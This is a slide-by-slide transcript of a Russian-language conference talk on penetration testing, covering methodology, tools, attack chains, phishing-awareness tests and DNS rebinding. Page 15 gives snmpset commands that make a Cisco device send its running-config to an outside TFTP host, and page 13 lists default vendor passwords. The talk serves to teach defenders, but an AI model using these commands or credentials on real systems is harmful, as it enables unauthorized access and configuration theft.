34
Penetration testing AS IS Дмитрий Евтеев (Positive Technologies)

Penetration testing (AS IS)

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: Penetration testing (AS IS)

Penetration testing

AS IS

Дмитрий Евтеев (Positive Technologies)

Page 2: Penetration testing (AS IS)

Penetration testing internals

Тестирование на проникновение != моделирование действий (не)реального злоумышленника

Тестирование на проникновение != инструментальное сканирование с ручной верификацией уязвимостей

Тестирование на проникновение –

• это комплекс мероприятий, направленных на оценку текущего состояния процессов обеспечения ИБ

• тестирование на преодоление защиты

• это один из методов проведения аудита ИБ

Page 3: Penetration testing (AS IS)

Методика

С одной стороны это

• Open Source Security Testing Methodology Manual (OSSTMM)

• Web Application Security Consortium (WASC)

• Open Web Application Security Project (OWASP)

С другой стороны это

• Center of Internet Security (CIS) guides

• Стандарты серии ISO 2700x

Page 4: Penetration testing (AS IS)

Возможности

Механизм N … X

Управление инцидентами

Некоторые действия атакующей стороны были выявлены, но не были идентифицированы как атака.

2

Механизм N … X

Page 5: Penetration testing (AS IS)

Цели

Высокоуровневые

• Внутренняя политика (пентест, как инструмент воздействия)

• Оценка текущего состояния процессов обеспечения ИБ

• Так надо (compliance)

Технологические

• Осуществить НСД во внутреннюю сеть со стороны сети Интернет

• Получить максимальные привилегии в основных инфраструктурных системах (Active Directory, сетевое оборудование, СУБД, ERP и пр.)

• Получить доступ к определенным информационным ресурсам

• Получить доступ к определенным данным (информации)

Page 6: Penetration testing (AS IS)

Подходы

Периметровый пентест (с последующим развитием атаки во внутренней сети)

• С уведомлением и без уведомления администраторов

• Анализ защищенности беспроводных сетей

Внутренний пентест

• С рабочего места среднестатистического пользователя сети

• Из выбранного сегмента сети

Тестирование отдельного компонента информационной системы (анализ защищенности)

• Черный-, серый- белый-ящик

Оценка осведомленности сотрудников компании в вопросах информационной безопасности

Page 7: Penetration testing (AS IS)

Реальная атака VS тестирование на проникновение

Для непосредственного исполнителя пентест – это ВЗЛОМ!

Ограничения

• Соблюдение законов РФ

• Ограниченное время

• Минимизация воздействия

• Отсутствие услуги тестирования типа DDoS

Неудобства

• Согласование действий (порой это доходит до абсурда!)

• Ответственность/Аккуратность

Преимущества

• Не нужно скрывать свою активность

• Упрощение процесса по идентификации периметра сети

• Возможность перехода к серому- и белому-ящику

Page 8: Penetration testing (AS IS)

Используемые инструменты

Positive Technologies MaxPatrol

Nmap/dnsenum/dig …

Immunity Canvas (VulnDisco, Agora Pack, Voip Pack…)

Metasploit

THC Hydra/THC PPTP bruter/ncrack …

Cain and Abel/Wireshark

Aircrack

Yersinia

Браузер, блокнот…

Page 9: Penetration testing (AS IS)

Используемые инструменты

База знаний методов использования уязвимостей информационных систем

Page 10: Penetration testing (AS IS)

Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» (данные за 2009 год, http://ptsecurity.ru/analytics.asp)

Проблема защиты Web-приложений

22%

38%

21%

38%

49%

27%

0% 10% 20% 30% 40% 50% 60%

Подбор

Уязвимые конфигурации сервера

Предсказуемое расположение ресурсов

Утечка информации

Внедрение операторов SQL

Межсайтовое выполнение сценариев

Page 11: Penetration testing (AS IS)

Примеры пентестов: Web-приложения

Что такое пентест веб-приложения методикой черного-ящика?

Web-сервер

Рабочее место аудитора

Проверка 1Проверка N

Найдена уязвимость

Уязвимость 1: подбор пароляImpact: доступ к приложению (с ограниченными привилегиями)

Уязвимость 2: внедрение операторов SQLImpact: только чтение файлов (включена опция magic quotes)

Уязвимость 3: выход за каталогImpact: только чтение файлов (потенциально LFI)

Уязвимость 4: предсказуемое значение идентификатора загружаемого файлаУязвимость 3 + Уязвимость 4 = Impact: выполнение команд на сервере

Следующий шаг - РАЗВИТИЕ АТАКИ

Page 12: Penetration testing (AS IS)

Проблема слабых паролей

Используется рекомендованная политика по заданию паролей

Пароль администратора такого домена?(совпадает с логином)

Page 13: Penetration testing (AS IS)

Примеры пентестов: Подбор паролей (дефолты)

Общепринятые

• admin:123456

• Administrator:P@ssw0rd

SAP

• (DIAG) SAP*: 06071992, PASS

манданты: 000, 001, 066, все новые

• (RFC) SAPCPIC: ADMIN

манданты:000, 001, 066, все новые

Oracle

• sys:manager

• sys:change_on_install

Cisco

• Cisco:Cisco

Page 14: Penetration testing (AS IS)

Примеры пентестов: Подбор паролей (MS Exchange 0day)

Page 15: Penetration testing (AS IS)

Примеры пентестов: Привет Павлик :)

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.31337 integer 4

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.31337 address <tftp_host>

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.31337 string running-config

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 1

snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 6

Page 16: Penetration testing (AS IS)

Проблема разграничения доступа

Сетевой доступ

• Архитектура сети (ДМЗ, технологическая сеть, пользовательский сегмент, тестовая среда)

• Удаленный доступ к сети

Доступ к данным• Общие ресурсы (пароли в

открытом виде, резервные копии данных, различная чувствительная информация)

• Web-приложения, СУБД, ERP

Page 17: Penetration testing (AS IS)

Проблема управления доступом

Разделение полномочий между администраторами

Пользователи с повышенными привилегиями

Сервисы (!) с не требуемым уровнем доступа

Общая проблема управления идентификаторами

Page 18: Penetration testing (AS IS)

Примеры пентестов: Использование уязвимостей

CANVAS && Metasploit

Page 19: Penetration testing (AS IS)

Примеры пентестов: Расширение привилегий в Active Directory

Вариант 1: Подбор пароля

Вариант 2: Использование уязвимостей в сервисах на контроллерах домена

Вариант 3: Проведение атаки Pass-the-hash

Вариант 4: Создание нового пользователя с доменного компьютера, который посещает администратор домена (eq incognito, wce, …)

Вариант 5: Проведение атаки типа «Отравление ARP кэша» (например, перехват сессии RDP, понижение уровня проверки подлинности до LM)

Вариант 6: Проведение атаки NTLM Relay

Вариант 7: Нахождение и восстановление system state домена (например, после успешной атаки на сервер резервного копирования)

Вариант 8: Получение расширенных привилегий за счет других систем (пример, контроль над записями в корневых DNS компании)

Вариант 9: Получение расширенных привилегий за счет уязвимостей других систем (хранение паролей с использованием обратимого шифрования, использование небезопасных протоколов и т.д.)

Вариант N …

Page 20: Penetration testing (AS IS)

Примеры пентестов: Анализ защищенности

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

ПОДОБРАН ПАРОЛЬ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Внутренний пентест/аудит по результатам пентеста

Внутренний пентест/аудит по результатам пентеста

Сканирование сети

Успешно подобран пароль!• Эксплуатация SQL

Injection• Выполнение команд на

сервере• Повышение привилегий• Атака на внутренние

ресурсы

Внутренний пентест• Установка сканера

MaxPatrol• Поиск уязвимостей• Эксплуатация уязвимостей

Перемещение в ИС ЦО• Проведение атаки на

ресурсы ЦО

Получение максимальных привилегий во всей сети!

Page 21: Penetration testing (AS IS)

Примеры пентестов: Анализ защищенности

Page 22: Penetration testing (AS IS)

Примеры пентестов: Беспроводные сети

Page 23: Penetration testing (AS IS)

Примеры пентестов: Оценка эффективности программы повышения осведомленности

Рассылка провоцирующих сообщений по электронной почте

Рассылка провоцирующих сообщений с помощью системы ICQ (и

других IM)

Распространение носителей информации, содержащих

провоцирующие данные

Проведение опроса среди сотрудников

Живой разговор (по телефону, skype)

Page 24: Penetration testing (AS IS)

Примеры пентестов: Пример набора проверок

Описание сообщения Реализуемая атака Контролируемые события

Сообщение от авторитетного лица, содержащее приложенный исполняемый файл.

Распространение сетевых червей.

Целевое заражение системы троянской программой.

Открытие почтового сообщения.

Запуск приложенного файла.

Сообщение от внутреннего лица, содержащее ссылку на Web-сайт. Ссылка указывает на исполняемый файл.

Атаки типа «фишинг».

Распространение сетевых червей.

Целевое заражение системы троянской программой.

Использование уязвимостей ПО.

Открытие почтового сообщения.

Загрузка файла с Web-сервера.

Запуск файла.

Сообщение от авторитетного лица, содержащее ссылку на Web-сайт.

Атаки типа «фишинг».

Распространение сетевых червей.

Целевое заражение системы троянской программой.

Использование уязвимостей ПО.

Открытие почтового сообщения.

Переход по предложенной ссылке.

Page 25: Penetration testing (AS IS)

Примеры пентестов: Оценка эффективности программы повышения осведомленности

Page 26: Penetration testing (AS IS)

Будущее client-side атак за «DNS rebinding»

Атака "Anti DNS Pinning" (DNS rebinding)

Обход ограничений Same origin policy

Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к web-приложению через браузер пользователя.

BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html

Page 27: Penetration testing (AS IS)

Уязвимость типа «Anti DNS Pinning»

Контролируемый web-серверwww.hack.example (1.1.1.1)

MS Project Server192.168.0.1

Прочие

1. Пользователь обращается к внешнему web-серверу

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

Cisco SDM192.168.0.2

Page 28: Penetration testing (AS IS)

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

2. Полученный сценарий java-script, например,через 2 секунды делает повторное обращение

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

3. Атакующий блокирует доступ к web-серверу

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 29: Penetration testing (AS IS)

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

4. Происходит повторное разрешениеимени www.hack.example

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 30: Penetration testing (AS IS)

Уязвимость типа «Anti DNS Pinning»

MS Project Server192.168.0.1

Прочие

6. Браузер посылает запрос на 192.168.0.1:GET / HTTP/1.1Host: www.hack.example…

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

5. www.hack.example IN A 192.168.0.1

Cisco SDM192.168.0.2

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 31: Penetration testing (AS IS)

Уязвимость типа «Anti DNS Pinning»

Cisco SDM192.168.0.2

MS Project Server192.168.0.1

Прочие

Контролируемый DNS-серверhack.example

Контролируемый web-серверany.name

7. Образуется полноценный каналдля работы с внутренним ресурсом

Контролируемый web-серверwww.hack.example (1.1.1.1)

Page 32: Penetration testing (AS IS)

Резюме

Тестирование на проникновение

– это комплекс мероприятий, позволяющий провести эффективную оценку текущего состояния процессов обеспечения информационной безопасности

Тестирование на проникновение

– это поиск и использование недостатков в процессах обеспечения информационной безопасности

• управление уязвимостями

• управление конфигурациями

• управление инцидентами

• управление безопасностью веб-приложений, СУБД, ERP, проводными и беспроводными сетями и пр.

• etc

Page 33: Penetration testing (AS IS)

PS. Тестирование на проникновение бывает разным…

Page 34: Penetration testing (AS IS)

Спасибо за внимание!

[email protected]://devteev.blogspot.com/